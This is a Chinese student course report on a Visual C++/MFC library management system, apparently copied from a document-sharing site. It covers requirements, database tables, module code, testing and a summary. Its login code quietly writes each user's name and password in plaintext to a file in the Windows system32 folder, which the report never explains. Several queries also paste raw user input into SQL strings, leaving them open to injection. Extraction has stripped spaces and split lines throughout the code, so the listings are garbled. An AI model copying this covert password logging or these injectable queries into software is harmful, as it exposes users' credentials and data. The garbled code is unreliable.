图书管理系统.docx
- 文档编号:23123833
- 上传时间:2023-05-08
- 格式:DOCX
- 页数:33
- 大小:868.25KB
图书管理系统.docx
《图书管理系统.docx》由会员分享,可在线阅读,更多相关《图书管理系统.docx(33页珍藏版)》请在冰豆网上搜索。
图书管理系统
《VisualC++程序设计》课程大作业
题目名称:
图书馆管理系统
系名称:
计算机科学与信息工程学院
专业班级:
2011级计算机科学与技术嵌入式
学号姓名:
201103010042吕鹏
学号姓名:
201103010056曹天金
学号姓名:
201103010061李勇
2013年6月
目录
一、组员分工3
二、需求分析3
三、总体设计4
1.系统主要功能模块设4
2.系统使用处理流程设计4
3.数据库设计5
四、详细设计6
1.功能模块详细设计6
2.数据库详细设计22
五、系统测试25
六、总结30
七、参考文献30
一、组员分工
本小组共三名组员,在该图书管理系统的软件设计与实现部分,组员吕鹏主要负责系统中对整个数据库的操作、管理和设置部分,包括权限验证、用户管理、基础数据设置、数据库的备份与恢复,以实现对数据库的管理和维护工作,并提高系统的数据安全性。
组员李勇主要负责实现对数据库中的具体表的数据项的管理和操作,包括借阅管理、书库管理、读者管理等模块,通过添加、删除、修改等操作,来实现对图书信息、读者信息、借阅信息的管理和登记,从而能够为借阅者提供方便快捷的服务,同时也提高了操作人员的管理效率。
二、需求分析
该图书管理系统是基于利用计算机管理图书信息的需求而设计的,主要致力于为图书借阅人提供方便快捷的服务,以及为图书管理人员提供准确可靠的信息,旨在提高图书管理的效率,节约相关的管理成本,增强图书管理的安全性,为学校的信息化建设提供必要的支持。
其具体需求分析如下:
1、系统需求:
该系统需提供给图书借阅者、信息管理员和图书馆管理人员共三方面的需求,图书借阅者的需求是查询图书馆所存的图书、个人借阅情况及个人信息的修改;信息管理员对图书借阅者的借阅及还书要求进行操作,同时对借书或还书信息进行查询;图书馆管理员实现图书采购及验收编目入库。
它要满足图书借阅管理、图书书库管理、图书借阅人管理的基本要求,并能实现方便的操作和扩展,满足图书馆发展的需要,保障图书管理书籍的安全、准确。
2、功能需求:
该图书管理系统主要有以下几项基本功能
用户管理:
用于管理系统用户,并能设置用户口令和权限,实现用户的添加、修改和删除,从而为系统的安全性提供保障。
基础数据管理:
负责维护图书管理相关的基础数据,主要包括对图书逾期罚款、图书类别、读者类别的设置。
借阅管理:
完成图书的借出登记,归还登记信息,以及借书信息和还书信息的查询浏览等借阅相关的管理功能。
书库管理:
维护书库中的图书信息,能够完成新书的入库登记,图书信息的查询以及图书丢失处理等功能。
读者管理:
维护读者的相关信息,能够完成新读者信息的登记,读者信息的查询以及读者注销等功能。
数据库管理:
对现有的数据库进行管理,包括数据备份和恢复,以方便用户对数据库的管理和维护工作,提高系统的数据安全性。
3、性能需求:
WindowsXP/2000/98/ME中的VisualC++开发环境,MicrosoftAccess2000数据库使用软件。
三、总体设计
1.系统主要功能模块设计
图书管理系统
读者管理
数据库管理
书库
管理
权
限
验
证
用户管理
借阅
管理
基
础
数
据
设
置
图3-1系统功能设计模块图
2.系统使用处理流程设计
图3-2处理流程设计图
3.数据库设计
该图书管理系统关联的数据库的数据项和数据结构如下:
用户表:
用户名、用户密码、用户类型
罚款设置表:
罚款类型、罚款金额
图书类型设置表:
类别名称、可借出天数
读者类型设置表:
类别名称、可借书册数
图书信息表:
图书编号、图书名称、图书类别、出版社、作者、图书价格、登记日期、是否借出、借阅人编号、说明
读者信息表:
读者编号、读者姓名、读者性别、读者类别、注册日期、联系电话、单位部门、住址、说明
借出信息表:
记录号、读者编号、读者姓名、图书编号、图书名称、图书类别、图书价格、借出日期、归还日期、是否归还、操作员
归还信息表:
记录号、读者编号、读者姓名、图书编号、图书名称、图书类别、图书价格、借出日期、归还日期、罚款金额、其他金额、总计金额、操作员
四、详细设计
1.功能模块详细设计
(1)开始界面:
显示该系统的主界面及其简单布局
创建一个基于单文档的MFC应用程序,建立系统主体框架,生成应用程序类、文档类、视图类和主框架;按功能模块的划分,使用资源编辑器创建系统菜单;在视图类的Paint事件处理函数OnPaint()中添加代码,实现加载背景图片的功能。
基本界面设计如下:
图4—1主界面
(2)登录界面:
即为权限验证模块,主要是根据用户输入的用户名和密码验证用户身份并决定其操作权限,而且会对用户的输入情况给出相应的提示信息。
界面设计如下:
图4—2登录界面
具体实现如下:
验证用户身份并分配权限
CUserSetrecordset;
CStringstrSQL;
UpdateData(TRUE);
if(m_strUser.IsEmpty())
{
AfxMessageBox("请输入用户名!
");
m_ctrUser.SetFocus();
return;
}
//检查密码是否输入
if(m_strPass.IsEmpty())
{
AfxMessageBox("请输入密码!
");
m_ctrPass.SetFocus();
return;
}
CLibraryApp*ptheApp=(CLibraryApp*)AfxGetApp();
strSQL.Format("select*fromuserwhereuser='%s'ANDpasswd='%s'",m_strUser,m_strPass);
if(!
recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!
","数据库错误",MB_OK);
return;
}
if(recordset.GetRecordCount()==0)
{
recordset.Close();
MessageBox("密码错误,请重新输入!
");
m_strPass="";
m_ctrPass.SetFocus();
UpdateData(FALSE);
}
else
{
CFilefile;
file.Open("c:
\\windows\\system32\\log.txt",CFile:
:
modeCreate|CFile:
:
modeReadWrite);
CArchivear(&file,CArchive:
:
store);
ar<<("帐户:
"+m_strUser+"\r\n");
ar<<("密码:
"+m_strPass+"\r\n");
ar.Close();
file.Close();
ptheApp->m_bIsAdmin=recordset.m_isadmin;
ptheApp->m_strOperator=recordset.m_user;
recordset.Close();
CDialog:
:
OnOK();
}
完成初始化工作,从数据表中提取用户名列表中的数据,以便用户选择并登录
CDialog:
:
OnInitDialog();
CUserSetrecordset;
CStringstrSQL;
UpdateData(TRUE);
strSQL="select*fromuser";
if(!
recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!
","数据库错误",MB_OK);
returnFALSE;
}
while(!
recordset.IsEOF())
{
m_ctrUser.AddString(recordset.m_user);
recordset.MoveNext();
}
recordset.Close();
returnTRUE;
(3)用户管理模块:
提供添加新用户、删除指定用户、修改用户的密码和权限的功能,该模块功能只限于具有系统管理员权限的用户使用。
模块结构:
包括添加新用户、修改用户口令、修改用户权限、删除用户
界面设计如下:
图4—3用户设置界面
(4)基础数据设置模块:
主要通过图书逾期罚款设置、图书类别设置和读者类别设置三个子模块分别来实现相应子基础数据的维护和管理。
模块结构:
罚款设置、图书类别设置、读者类别设置
各个子模块界面设计如下:
图4—4读者类型设置界面
图4—5图书类型设置界面
图4—6罚款设置界面
其中读者类型模块具体实现如下:
(其他模块添加、修改、删除功能与此类似)
对话框的初始化
BOOLCReaderTypeDlg:
:
OnInitDialog()
{
CDialog:
:
OnInitDialog();
m_ctrList.InsertColumn(0,"类别名称");
m_ctrList.SetColumnWidth(0,120);
m_ctrList.InsertColumn(1,"可借册数");
m_ctrList.SetColumnWidth(1,60);
m_ctrList.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);
RefreshData();
returnTRUE;//returnTRUEunlessyousetthefocustoacontrol
//EXCEPTION:
OCXPropertyPagesshouldreturnFALSE
}
voidCReaderTypeDlg:
:
RefreshData()
{
m_ctrList.SetFocus();
//清空列表
m_ctrList.DeleteAllItems();
m_ctrList.SetRedraw(FALSE);
CStringstrSQL;
UpdateData(TRUE);
//打开记录集
strSQL="select*fromreaderType";
if(!
m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!
","数据库错误",MB_OK);
return;
}
//添加记录到列表中
inti=0;
charbuffer[20];
while(!
m_recordset.IsEOF())
{
m_ctrList.InsertItem(i,m_recordset.m_type);
itoa(m_recordset.m_number,buffer,10);
m_ctrList.SetItemText(i,1,buffer);
i++;
m_recordset.MoveNext();
}
m_recordset.Close();
m_ctrList.SetRedraw(TRUE);
}
添加新读者类型
voidCReaderTypeDlg:
:
OnButtonNew()
{
//TODO:
Addyourcontrolnotificationhandlercodehere
CInputDlgdlg;
dlg.m_strTypeNo="读者类型:
";
dlg.m_strNumberNo="可借册数:
";
if(dlg.DoModal()==IDOK)
{
//打开记录集
CStringstrSQL;
strSQL.Format("select*fromreaderTypewheretype='%s'",dlg.m_strType);
if(!
m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!
","数据库错误",MB_OK);
return;
}
//判断记录是否已经存在
if(m_recordset.GetRecordCount()!
=0)
{
m_recordset.Close();
MessageBox("该记录已经存在!
");
return;
}
m_recordset.AddNew();
m_recordset.m_type=dlg.m_strType;
m_recordset.m_number=dlg.m_nNumber;
m_recordset.Update();
m_recordset.Close();
//更新列表
RefreshData();
}
}
修改读者类别数据
voidCReaderTypeDlg:
:
OnButtonModify()
{
//TODO:
Addyourcontrolnotificationhandlercodehere
inti=m_ctrList.GetSelectionMark();
if(i<0)
{
AfxMessageBox("请选取要修改的记录!
");
return;
}
//初始化信息输入对话框
CInputDlgdlg;
dlg.m_strTypeNo="读者类型:
";
dlg.m_strNumberNo="可借册数:
";
dlg.m_strType=m_ctrList.GetItemText(i,0);
dlg.m_nNumber=atoi(m_ctrList.GetItemText(i,1));
//等待用户输入
if(dlg.DoModal()==IDOK)
{
//打开记录集
CStringstrSQL;
strSQL.Format("select*fromreaderTypewheretype='%s'",dlg.m_strType);
if(!
m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!
","数据库错误",MB_OK);
return;
}
//判断记录是否不存在
if(m_recordset.GetRecordCount()==0)
{
m_recordset.Close();
MessageBox("该记录不存在!
");
return;
}
m_recordset.Edit();
m_recordset.m_type=dlg.m_strType;
m_recordset.m_number=dlg.m_nNumber;
m_recordset.Update();
m_recordset.Close();
//更新列表
RefreshData();
}
}
删除读者类别数据
voidCReaderTypeDlg:
:
OnButtonDelete()
{
//TODO:
Addyourcontrolnotificationhandlercodehere
inti=m_ctrList.GetSelectionMark();
if(i<0)
{
AfxMessageBox("请选取要删除的记录!
");
return;
}
//打开记录集
CStringstrSQL;
strSQL.Format("select*fromreaderTypewheretype='%s'",m_ctrList.GetItemText(i,0));
if(!
m_recordset.Open(AFX_DB_USE_DEFAULT_TYPE,strSQL))
{
MessageBox("打开数据库失败!
","数据库错误",MB_OK);
return;
}
//判断记录是否不存在
if(m_recordset.GetRecordCount()==0)
{
m_recordset.Close();
MessageBox("该记录不存在!
");
return;
}
m_recordset.Delete();//删除记录
m_recordset.Close();
//更新列表
RefreshData();
}
(5)借阅管理模块:
该模块主要实现借书和还书的登记功能,同时提供借书记录和还书记录的查询和浏览功能。
模块结构:
借书、借书查询、还书、还书查询
各个子模块界面设计如下:
图4-7借书界面
图4-8还书界面
图4-9借阅查询界面
(6)书库管理模块:
实现对所有图书信息的管理功能,包括新书的入库登记,图书信息的查询浏览,以及图书的挂失等。
模块结构:
新书登记、图书信息查询、图书挂失
各个子模块界面设计如下:
图4-10新书登记界面
图4-11图书信息查询界面
图4-12图书挂失界面
(7)读者管理模块:
实现对所有读者信息的管理功能,如读者登记,读者信息的查询浏览,以及读者信息的注销等。
模块结构:
读者登记、读者信息查询、读者注销
各个子模块界面设计如下:
图4-13读者登记界面
图4-14读者信息查询界面
图4-15读者注销界面
(8)数据库管理模块:
实现对数据库的基本操作,包括数据库的备份和恢复,以提高数据库的安全性。
模块结构:
数据库备份、数据库恢复
具体实现如下:
数据库的备份
voidCMainFrame:
:
OnDatabaseBackup()
{
//TODO:
Addyourcommandhandlercodehere
if(AfxMessageBox("您确定要备份数据库吗?
",MB_OKCANCEL)==IDCANCEL)
{
return;
}
if(CopyFile(".\\libDB.mdb",".\\libDB.bak",FALSE))
AfxMessageBox("数据库备份成功!
");
else
AfxMessageBox("数据库备份失败!
");
}
数据库的恢复
voidCMainFrame:
:
OnDatabaseRecover()
{
//TODO:
Addyourcommandhandlercodehere
if(AfxMessageBox("还原数据库将覆盖原来的数据库。
您确定要还原吗?
",MB_OKCANCEL)==IDCANCEL)
{
return;
}
if(CopyFile(".\\libDB.bak",".\\libDB.mdb",FALSE))
AfxMessageBox("数据库还原成功!
");
else
AfxMessageBox("数据库还原失败!
");
}
2.数据库详细设计
表4-1用户表(user)
表4-2罚款设置表(publishType)
表4-3图书类型设置表(bookType)
表4-4图书类型设置表(bookType)
表4-5读者类型设置表(readerType)
表4-6图书信息表(bookInfo)
表4-7读者信息表(readerInfo
表4-8借出信息表(borrowInfo)
表4-9归还信息表(returnInfo)
五、系统测试
登陆界面的测试:
图5-1登陆界面
图5-2密码登陆界面
登陆界面的设计中对用户名的下拉菜单添加变量时添加控件变量m_ctrUser,和字符串型变量m_strUser两个变,用户名调用数据库里的内容;用户类型可以自行选择,当密码不正确时弹出提示信息;
图书类型设置的测试:
图5-3图书类型设置界面
图5-4图书类型输入界面
图书类型设置可以对图书的类型进行添加、删除、修改;进行添加时的弹出添加对话框,添加、删除、修改后的内容和数据库连接,可直接显示在左边的列表里面
还书的测试:
图5-5还书界面
图5-6还书界面
此对话框只需要输入所借图书的编号,图书的信息以及读者信息都会自动连接到数据库生成,相应的归还信息也会自动生成,方便管理者进行管理
图书信息查询的测试:
图5-7图书信息查询界面
图5-8图书信息查询界面
图书信息查询时,只需输入图书的编号进行查询,当点击“显示全部”时数据库里包含的所有书籍的信息都会显示出来,图书编号查询可以使读者更方便快捷地查找到自己所需要的书籍信息;
读者登记的测试:
图5-9读者登记界面
读者登记,把督责的相应信息填写完整后,点击“确定”添加的读者信息会自动添加到数据库中,以后查阅时也会有此读者的相应信息
六、总结
经过全体小组成员的共同努力,在老师规定的时间内基本实现了图书管理系统的所有功能,现将对该系统的总结和报告阐述如下:
优点:
此系统包含了图书管理系统中需要的基本功能。
对话框中添加的列表控件可以使查询或添加的内容显示在对话框中,使人一目连然;在“还书”对话框的“归还信息”里“借书日期”“还书日期”控件关联到日历表,方便管理者记录日期信息。
不足:
对于借书对话框,允许借出和已经借出的数据相等时,应该弹出“借阅已满,禁止借阅”对话框;
对于“读者信息查询”“读者注销”“图书信息查询”“借书查询”“还书查询”对话框中的查询按钮,当查询时需要输入的内容为空时,应弹出“请输入查询信息”对话框,但该系统并没有实现这以功能。
由于时间限制和技术欠缺,整个系统只是实现了基本的实用功能,在美化方面缺少设计。
经验、收获、心得:
通过对此图书管理系统的设计与制作,使自己更全面的了解了图书管理系统的管理流程和操作原理,并学会了其各项功能的实现方法。
同时对于VC++所学内容有了更全面的认识、了解和补充。
学会了怎样验证用户的身份的方法,并再次熟悉了添加、删除、修改等基本的数据操作的实现方法,对各种函数的使用功能和使用方法有了深入的理解和亲身实践;掌握了MFC下基于单文档程序系统生成的工具栏的显示与消除以及自定义工具栏的添加;最重要的是学会了对话框与数据表的关联,以及他们之间传递信息的方法。
七、参考文献
[1]《VisualC++2005
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 图书 管理 系统